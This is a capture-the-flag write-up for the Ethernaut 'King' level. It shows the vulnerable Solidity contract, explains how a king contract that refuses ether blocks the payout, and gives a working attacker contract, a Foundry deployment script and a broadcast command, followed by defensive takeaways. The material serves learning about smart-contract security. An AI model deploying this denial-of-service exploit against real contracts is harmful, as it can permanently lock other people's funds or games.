# The Ethernaut CTF Solutions | 09 - King

## **Goals**

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/9-king-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/9-king-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}
```

## **The hack**

In this level, the goal is to become the king and then make sure that the contract is not able to transfer the prize to the next king. In other words, we have to become king and then break the game.

This requires an understanding of how the now-considered deprecated `transfer` works in solidity. This function throws an error if the transfer fails, but doesn't return a boolean value. This means that if the transfer fails, the transaction will revert.

```solidity
receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
```

First, we need to check the `prize` function to see how much ether is required to pass the `require` statement and become king.

Now, that we are king, how can we make sure that no one else can dethrone us? How to make sure the `transfer()` function reverts systematically after us? The answer is pretty simple, we just need to make sure that our king contract can't receive any ether. As long as no `receive()` or `fallback()` function is defined, the contract will not be able to receive any ether via the King contract, which will effectively prevent anyone from becoming the new king after us.

## **Solution**

Deploy a contract that can't receive ether via the "normal" way (no `receive()` or `fallback()` functions).

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IKing {
    function prize() external returns (uint256);
}

contract FallenKing {
    address private immutable king;

    constructor(address _king) {
        king = _king;
    }

    function attack() external payable {
        uint256 prize = IKing(king).prize();
        (bool success, ) = king.call{value: prize}("");
        require(success, "Transfer failed");
    }
}
```

Now, let's write our deployment script:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {FallenKing} from "../src/09_King.sol";

contract PoC is Script {
    // Replace with your King instance
    address payable immutable king =
        payable(0xAee491172da8198a0bDCDE30455FE379E56d3711); 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        FallenKing fallenKing = new FallenKing(king);
        fallenKing.attack();

        vm.stopBroadcast();
    }
}
```

Then, you can use forge scripts to deploy this contract and call the `attack` function:

```bash
forge script script/09_King.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## **Takeaway**

* `send` and `transfer` are now considered deprecated. They should be replaced by `call` with a proper Check-Effect-Interaction pattern to prevent re-entrancy.
    
* **External calls must be used with caution and must handle errors properly.**
    

## **References**

[https://blog.chain.link/defi-security-best-practices/](https://blog.chain.link/defi-security-best-practices/)[https://www.kingoftheether.com/postmortem.html](https://www.kingoftheether.com/postmortem.html)

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
